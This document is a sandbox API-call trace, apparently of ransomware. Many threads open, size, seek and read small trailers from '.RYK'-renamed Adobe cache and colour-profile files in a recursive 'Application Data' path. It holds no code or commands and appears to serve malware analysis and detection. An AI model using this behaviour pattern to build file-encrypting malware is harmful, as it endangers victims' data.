	[0246.342] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0
	[0246.342] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x9aafbf8 | out: lpFileSize=0x9aafbf8*=35394) returned 1
	[0246.342] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x9aafc08 | out: lpFileSize=0x9aafc08*=35394) returned 1
	[0246.342] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.342] ReadFile (in: hFile=0x4a0, lpBuffer=0x9aafc50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9aafbc0, lpOverlapped=0x0 | out: lpBuffer=0x9aafc50*, lpNumberOfBytesRead=0x9aafbc0*=0x19, lpOverlapped=0x0) returned 1
	[0246.342] CloseHandle (hObject=0x4a0) returned 1

Thread:
	id = 2635
	os_tid = 0x2f08

	[0246.565] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.565] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464
	[0246.566] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x9bbf598 | out: lpFileSize=0x9bbf598*=138738) returned 1
	[0246.566] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x9bbf5a8 | out: lpFileSize=0x9bbf5a8*=138738) returned 1
	[0246.566] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.566] ReadFile (in: hFile=0x464, lpBuffer=0x9bbf5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9bbf560, lpOverlapped=0x0 | out: lpBuffer=0x9bbf5f0*, lpNumberOfBytesRead=0x9bbf560*=0x19, lpOverlapped=0x0) returned 1
	[0246.566] CloseHandle (hObject=0x464) returned 1

Thread:
	id = 2649
	os_tid = 0x2f40

	[0246.567] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.567] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464
	[0246.568] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x8d6f7f8 | out: lpFileSize=0x8d6f7f8*=53474) returned 1
	[0246.568] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x8d6f808 | out: lpFileSize=0x8d6f808*=53474) returned 1
	[0246.568] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.568] ReadFile (in: hFile=0x464, lpBuffer=0x8d6f850, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d6f7c0, lpOverlapped=0x0 | out: lpBuffer=0x8d6f850*, lpNumberOfBytesRead=0x8d6f7c0*=0x19, lpOverlapped=0x0) returned 1
	[0246.568] CloseHandle (hObject=0x464) returned 1

Thread:
	id = 2650
	os_tid = 0x2f44

	[0246.569] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0246.570] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464
	[0246.570] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x8f9f938 | out: lpFileSize=0x8f9f938*=5410) returned 1
	[0246.570] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x8f9f948 | out: lpFileSize=0x8f9f948*=5410) returned 1
	[0246.570] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.570] ReadFile (in: hFile=0x464, lpBuffer=0x8f9f990, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f9f900, lpOverlapped=0x0 | out: lpBuffer=0x8f9f990*, lpNumberOfBytesRead=0x8f9f900*=0x19, lpOverlapped=0x0) returned 1
	[0246.570] CloseHandle (hObject=0x464) returned 1

Thread:
	id = 2651
	os_tid = 0x2f48

	[0246.572] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0246.573] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464
	[0246.573] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x918fc78 | out: lpFileSize=0x918fc78*=77762) returned 1
	[0246.573] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x918fc88 | out: lpFileSize=0x918fc88*=77762) returned 1
	[0246.573] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.573] ReadFile (in: hFile=0x464, lpBuffer=0x918fcd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x918fc40, lpOverlapped=0x0 | out: lpBuffer=0x918fcd0*, lpNumberOfBytesRead=0x918fc40*=0x19, lpOverlapped=0x0) returned 1
	[0246.573] CloseHandle (hObject=0x464) returned 1

Thread:
	id = 2652
	os_tid = 0x2f4c

	[0246.574] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0246.575] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464
	[0246.575] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x93bfa38 | out: lpFileSize=0x93bfa38*=1458) returned 1
	[0246.575] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x93bfa48 | out: lpFileSize=0x93bfa48*=1458) returned 1
	[0246.575] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.575] ReadFile (in: hFile=0x464, lpBuffer=0x93bfa90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93bfa00, lpOverlapped=0x0 | out: lpBuffer=0x93bfa90*, lpNumberOfBytesRead=0x93bfa00*=0x19, lpOverlapped=0x0) returned 1
	[0246.576] CloseHandle (hObject=0x464) returned 1

Thread:
	id = 2653
	os_tid = 0x2f50

	[0246.577] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0246.577] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464
	[0246.577] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x8e9f6b8 | out: lpFileSize=0x8e9f6b8*=66498) returned 1
	[0246.578] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x8e9f6c8 | out: lpFileSize=0x8e9f6c8*=66498) returned 1
	[0246.578] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.578] ReadFile (in: hFile=0x464, lpBuffer=0x8e9f710, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e9f680, lpOverlapped=0x0 | out: lpBuffer=0x8e9f710*, lpNumberOfBytesRead=0x8e9f680*=0x19, lpOverlapped=0x0) returned 1
	[0246.578] CloseHandle (hObject=0x464) returned 1

Thread:
	id = 2654
	os_tid = 0x2f54

	[0246.579] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0246.579] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464
	[0246.580] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x92bf618 | out: lpFileSize=0x92bf618*=2962) returned 1
	[0246.580] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x92bf628 | out: lpFileSize=0x92bf628*=2962) returned 1
	[0246.580] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0246.580] ReadFile (in: hFile=0x464, lpBuffer=0x92bf670, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x92bf5e0, lpOverlapped=0x0 | out: lpBuffer=0x92bf670*, lpNumberOfBytesRead=0x92bf5e0*=0x19, lpOverlapped=0x0) returned 1
	[0246.580] CloseHandle (hObject=0x464) returned 1

Thread:
	id = 2655
	os_tid = 0x2f58

	[0247.077] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0247.077] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.077] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x8c6f878 | out: lpFileSize=0x8c6f878*=35394) returned 1
	[0247.077] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x8c6f888 | out: lpFileSize=0x8c6f888*=35394) returned 1
	[0247.077] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0247.077] ReadFile (in: hFile=0x4ac, lpBuffer=0x8c6f8d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c6f840, lpOverlapped=0x0 | out: lpBuffer=0x8c6f8d0*, lpNumberOfBytesRead=0x8c6f840*=0x19, lpOverlapped=0x0) returned 1
	[0247.078] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 2670
	os_tid = 0x2fb0

	[0247.079] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0247.079] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.079] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x8d8f8f8 | out: lpFileSize=0x8d8f8f8*=138738) returned 1
	[0247.079] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x8d8f908 | out: lpFileSize=0x8d8f908*=138738) returned 1
	[0247.079] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0247.079] ReadFile (in: hFile=0x4ac, lpBuffer=0x8d8f950, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d8f8c0, lpOverlapped=0x0 | out: lpBuffer=0x8d8f950*, lpNumberOfBytesRead=0x8d8f8c0*=0x19, lpOverlapped=0x0) returned 1
	[0247.079] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 2671
	os_tid = 0x2fb4

	[0247.080] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0247.081] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.081] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x8eaf858 | out: lpFileSize=0x8eaf858*=53474) returned 1
	[0247.081] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x8eaf868 | out: lpFileSize=0x8eaf868*=53474) returned 1
	[0247.081] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0247.081] ReadFile (in: hFile=0x4ac, lpBuffer=0x8eaf8b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8eaf820, lpOverlapped=0x0 | out: lpBuffer=0x8eaf8b0*, lpNumberOfBytesRead=0x8eaf820*=0x19, lpOverlapped=0x0) returned 1
	[0247.081] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 2672
	os_tid = 0x2fb8

	[0247.082] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0247.083] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.083] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x900faf8 | out: lpFileSize=0x900faf8*=5410) returned 1
	[0247.083] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x900fb08 | out: lpFileSize=0x900fb08*=5410) returned 1
	[0247.083] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0247.083] ReadFile (in: hFile=0x4ac, lpBuffer=0x900fb50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x900fac0, lpOverlapped=0x0 | out: lpBuffer=0x900fb50*, lpNumberOfBytesRead=0x900fac0*=0x19, lpOverlapped=0x0) returned 1
	[0247.083] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 2673
	os_tid = 0x2fbc

	[0247.084] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0247.085] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.085] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x92cf598 | out: lpFileSize=0x92cf598*=77762) returned 1
	[0247.085] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x92cf5a8 | out: lpFileSize=0x92cf5a8*=77762) returned 1
	[0247.085] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0247.085] ReadFile (in: hFile=0x4ac, lpBuffer=0x92cf5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x92cf560, lpOverlapped=0x0 | out: lpBuffer=0x92cf5f0*, lpNumberOfBytesRead=0x92cf560*=0x19, lpOverlapped=0x0) returned 1
	[0247.085] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 2674
	os_tid = 0x2fc0

	[0247.086] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0247.087] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.087] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x949f8b8 | out: lpFileSize=0x949f8b8*=1458) returned 1
	[0247.087] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x949f8c8 | out: lpFileSize=0x949f8c8*=1458) returned 1
	[0247.087] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0247.087] ReadFile (in: hFile=0x4ac, lpBuffer=0x949f910, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x949f880, lpOverlapped=0x0 | out: lpBuffer=0x949f910*, lpNumberOfBytesRead=0x949f880*=0x19, lpOverlapped=0x0) returned 1
	[0247.087] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 2675
	os_tid = 0x2fc4

	[0247.088] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0247.088] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.089] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x968fbb8 | out: lpFileSize=0x968fbb8*=66498) returned 1
	[0247.089] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x968fbc8 | out: lpFileSize=0x968fbc8*=66498) returned 1
	[0247.089] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0247.089] ReadFile (in: hFile=0x4ac, lpBuffer=0x968fc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x968fb80, lpOverlapped=0x0 | out: lpBuffer=0x968fc10*, lpNumberOfBytesRead=0x968fb80*=0x19, lpOverlapped=0x0) returned 1
	[0247.089] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 2676
	os_tid = 0x2fc8

	[0247.090] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0247.090] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.090] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x97df978 | out: lpFileSize=0x97df978*=2962) returned 1
	[0247.091] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x97df988 | out: lpFileSize=0x97df988*=2962) returned 1
	[0247.091] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0247.091] ReadFile (in: hFile=0x4ac, lpBuffer=0x97df9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x97df940, lpOverlapped=0x0 | out: lpBuffer=0x97df9d0*, lpNumberOfBytesRead=0x97df940*=0x19, lpOverlapped=0x0) returned 1
	[0247.091] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 2691
	os_tid = 0x834

	[0247.654] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0248.139] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c
	[0248.139] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x8d1f8b8 | out: lpFileSize=0x8d1f8b8*=35394) returned 1
	[0248.139] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x8d1f8c8 | out: lpFileSize=0x8d1f8c8*=35394) returned 1
	[0248.139] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
